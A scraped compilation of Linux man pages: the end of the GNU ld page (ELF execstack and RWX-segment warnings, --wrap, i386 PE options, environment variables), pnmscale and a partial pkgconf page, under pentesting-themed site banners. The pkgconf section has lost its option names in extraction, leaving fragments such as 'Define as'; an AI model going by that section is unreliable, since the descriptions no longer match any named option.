
–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

The default state depends upon how the linker was configured when it was built. The –no-warn-execstack option always puts the linker into the no-warnings state. The –warn-execstack option puts the linker into the warn-always state. The –warn-execstack-objects option puts the linker into the warn-for-object-files-only state. Note: ELF format input files can specify that they need an executable stack by having a .note.GNU-stack section with the executable bit set in its section flags. They can specify that they do not need an executable stack by having the same section, but without the executable flag bit set. If an input file does not have a .note.GNU-stack section then the default behaviour is target specific. For some targets, then absence of such a section implies that an executable stack is required. This is often a problem for hand crafted assembler files.

–error-execstack

–no-error-execstack

If the linker is going to generate a warning message about an executable stack then the –error-execstack option will instead change that warning into an error. Note - this option does not change the linker’s execstack warning generation state. Use –warn-execstack or –warn-execstack-objects to set a specific warning state. The –no-error-execstack option will restore the default behaviour of generating warning messages.

–warn-multiple-gp
Warn if multiple global pointer values are required in the output file. This is only meaningful for certain processors, such as the Alpha. Specifically, some processors put large-valued constants in a special section. A special register (the global pointer) points into the middle of this section, so that constants can be loaded efficiently via a base-register relative addressing mode. Since the offset in base-register relative mode is fixed and relatively small (e.g., 16 bits), this limits the maximum size of the constant pool. Thus, in large programs, it is often necessary to use multiple global pointer values in order to be able to address all possible constants. This option causes a warning to be issued whenever this case occurs.

–warn-once
Only warn once for each undefined symbol, rather than once per module which refers to it.

–warn-rwx-segments

–no-warn-rwx-segments

Warn if the linker creates a loadable, non-zero sized segment that has all three of the read, write and execute permission flags set. Such a segment represents a potential security vulnerability. In addition warnings will be generated if a thread local storage segment is created with the execute permission flag set, regardless of whether or not it has the read and/or write flags set. These warnings are enabled by default. They can be disabled via the –no-warn-rwx-segments option and re-enabled via the –warn-rwx-segments option.

–error-rwx-segments

–no-error-rwx-segments

If the linker is going to generate a warning message about an executable, writeable segment, or an executable TLS segment, then the –error-rwx-segments option will turn this warning into an error instead. The –no-error-rwx-segments option will restore the default behaviour of just generating a warning message. Note - the –error-rwx-segments option does not by itself turn on warnings about these segments. These warnings are either enabled by default, if the linker was configured that way, or via the –warn-rwx-segments command line option.

–warn-section-align
Warn if the address of an output section is changed because of alignment. Typically, the alignment will be set by an input section. The address will only be changed if it not explicitly specified; that is, if the SECTIONS command does not specify a start address for the section.

–warn-textrel
Warn if the linker adds DT_TEXTREL to a position-independent executable or shared object.

–warn-alternate-em
Warn if an object has alternate ELF machine code.

–warn-unresolved-symbols
If the linker is going to report an unresolved symbol (see the option –unresolved-symbols) it will normally generate an error. This option makes it generate a warning instead.

–error-unresolved-symbols
This restores the linker’s default behaviour of generating errors when it is reporting unresolved symbols.

–whole-archive
For each archive mentioned on the command line after the –whole-archive option, include every object file in the archive in the link, rather than searching the archive for the required object files. This is normally used to turn an archive file into a shared library, forcing every object to be included in the resulting shared library. This option may be used more than once. Two notes when using this option from gcc: First, gcc doesn’t know about this option, so you have to use -Wl,-whole-archive. Second, don’t forget to use -Wl,-no-whole-archive after your list of archives, because gcc will add its own list of archives to your link and you may not want this flag to affect those as well.

–wrap=symbol
Use a wrapper function for symbol. Any undefined reference to symbol will be resolved to _ _wrap_symbol. Any undefined reference to _ _real_symbol will be resolved to symbol. This can be used to provide a wrapper for a system function. The wrapper function should be called _ _wrap_symbol. If it wishes to call the system function, it should call _ _real_symbol. Here is a trivial example: void * _ _wrap_malloc (size_t c) { printf (“malloc called with %zu “, c); return _ _real_malloc (c); } If you link other code with this file using –wrap malloc, then all calls to malloc will call the function _ _wrap_malloc instead. The call to _ _real_malloc in _ _wrap_malloc will call the real malloc function. You may wish to provide a _ _real_malloc function as well, so that links without the –wrap option will succeed. If you do this, you should not put the definition of _ _real_malloc in the same file as _ _wrap_malloc; if you do, the assembler may resolve the call before the linker has a chance to wrap it to malloc. Only undefined references are replaced by the linker. So, translation unit internal references to symbol are not resolved to _ _wrap_symbol. In the next example, the call to f in g is not resolved to _ _wrap_f. int f (void) { return 123; } int g (void) { return f(); }

–eh-frame-hdr

–no-eh-frame-hdr

Request (–eh-frame-hdr) or suppress (–no-eh-frame-hdr) the creation of .eh_frame_hdr section and ELF PT_GNU_EH_FRAME segment header.

–no-ld-generated-unwind-info
Request creation of .eh_frame unwind info for linker generated code sections like PLT. This option is on by default if linker generated unwind info is supported. This option also controls the generation of .sframe stack trace info for linker generated code sections like PLT.

–enable-new-dtags

–disable-new-dtags

This linker can create the new dynamic tags in ELF. But the older ELF systems may not understand them. If you specify –enable-new-dtags, the new dynamic tags will be created as needed and older dynamic tags will be omitted. If you specify –disable-new-dtags, no new dynamic tags will be created. By default, the new dynamic tags are not created. Note that those options are only available for ELF systems.

–hash-size=number
Set the default size of the linker’s hash tables to a prime number close to number. Increasing this value can reduce the length of time it takes the linker to perform its tasks, at the expense of increasing the linker’s memory requirements. Similarly reducing this value can reduce the memory requirements at the expense of speed.

–hash-style=style
Set the type of linker’s hash table(s). style can be either sysv for classic ELF .hash section, gnu for new style GNU .gnu.hash section or both for both the classic ELF .hash and new style GNU .gnu.hash hash tables. The default depends upon how the linker was configured, but for most Linux based systems it will be both.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

On ELF platforms, these options control how DWARF debug sections are compressed using zlib. –compress-debug-sections=none doesn’t compress DWARF debug sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections and renames them to begin with .zdebug instead of .debug. –compress-debug-sections=zlib-gabi also compresses DWARF debug sections, but rather than renaming them it sets the SHF_COMPRESSED flag in the sections’ headers. The –compress-debug-sections=zlib option is an alias for –compress-debug-sections=zlib-gabi. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note that this option overrides any compression in input debug sections, so if a binary is linked with –compress-debug-sections=none for example, then any compressed debug sections in input files will be uncompressed before they are copied into the output binary. The default compression behaviour varies depending upon the target involved and the configure options used to build the toolchain. The default can be determined by examining the output from the linker’s –help option.

–reduce-memory-overheads
This option reduces memory requirements at ld runtime, at the expense of linking speed. This was introduced to select the old O(n^2) algorithm for link map file generation, rather than the new O(n) algorithm which uses about 40% more memory for symbol storage. Another effect of the switch is to set the default hash table size to 1021, which again saves memory at the cost of lengthening the linker’s run time. This is not done however if the –hash-size switch has been used. The –reduce-memory-overheads switch may be also be used to enable other tradeoffs in future versions of the linker.

–max-cache-size=size
ld normally caches the relocation information and symbol tables of input files in memory with the unlimited size. This option sets the maximum cache size to size.

–build-id

–build-id=style

Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

446 - Linux cli command pnmscale

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmscale and provides detailed information about the command pnmscale, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmscale.

.

NAME 🖥️ pnmscale 🖥️

replaced by pamscale

DESCRIPTION

This program is part of Netpbm(1) .

pnmscale was obsoleted by pamscale(1) , introduced with Netpbm 10.20 (January 2004). pamscale is backward compatible with pnmscale, plus adds many additional functions, including the ability to process PAM images.

pnmscale remained in the Netpbm package until Netpbm 10.46 (March 2009) because of hopes that it had fewer bugs than pamscale because of its age. But now it would just be clutter.

In Netpbm before 10.20, use the manual for pamscale with pnmscale. Features that are in pamscale but not pnmscale are indicated by statements that they didn’t exist before 10.20.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmscale.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

447 - Linux cli command pkgconf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkgconf and provides detailed information about the command pkgconf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkgconf.

is a program which helps to configure compiler and linker flags for development libraries. This allows build systems to detect other dependencies and use them with the system toolchain.

Display the supported pkg-config version and exit.

Exit with error if we do not support the requested pkg-config version.

Print all errors on the main output stream instead of the error output stream.

Do not display any errors at all.

Walk all directories listed in the

environmental variable and display information on packages which have registered information there.

Simulates resolving a dependency graph based on the requested modules on the command line. Dumps a series of trees denoting pkgconf’s resolver state.

Skip caching packages when they are loaded into the internal resolver. This may result in an alternate dependency graph being computed.

Ignore

rules in modules.

Learn about pkgconf’s configuration strictly from environmental variables.

Validate specific

files for correctness.

Impose a limit on the allowed depth in the dependency graph. For example, a depth of 2 will restrict the resolver from acting on child dependencies of modules added to the resolver’s solution.

Compute a deeper dependency graph and use compiler/linker flags intended for static linking.

Compute a simple dependency graph that is only suitable for shared linking.

Treats the computed dependency graph as if it were pure. This is mainly intended for use with the

flag.

Ignore

rules in modules when resolving dependencies.

Adds a new module search path to pkgconf’s dependency resolver. Paths added in this way are given preference before other paths.

Attempts to determine the prefix variable to use for CFLAGS and LIBS entry relocations. This is mainly useful for platforms where framework SDKs are relocatable, such as Windows.

Disables the

feature.

Sets the

variable used by the

feature.

Relocates a path using the pkgconf_path_relocate API. This is mainly used by the testsuite to provide a guaranteed interface to the system’s path relocation backend.

Disables the path relocation feature.

Exit with error if a module’s version is less than the specified version.

Exit with error if a module’s version is not exactly the specified version.

Exit with error if a module’s version is greater than the specified version.

Exit with a non-zero result if the dependency resolver was unable to find all of the requested modules.

Exit with a non-zero result if the dependency resolver uses an

module as part of its solution.

Forbids the dependency resolver from considering ‘uninstalled’ modules as part of a solution.

Display either all CFLAGS, only

CFLAGS or only CFLAGS that are not

Display either all linker flags, only

linker flags, only

linker flags or only linker flags that are not

or

Keep CFLAGS or linker flag fragments that would be filtered due to being included by default in the compiler.

Define

as

Variables are used in query output, and some modules’ results may change based on the presence of a variable definition.

Print all seen variables for a module to the output channel.

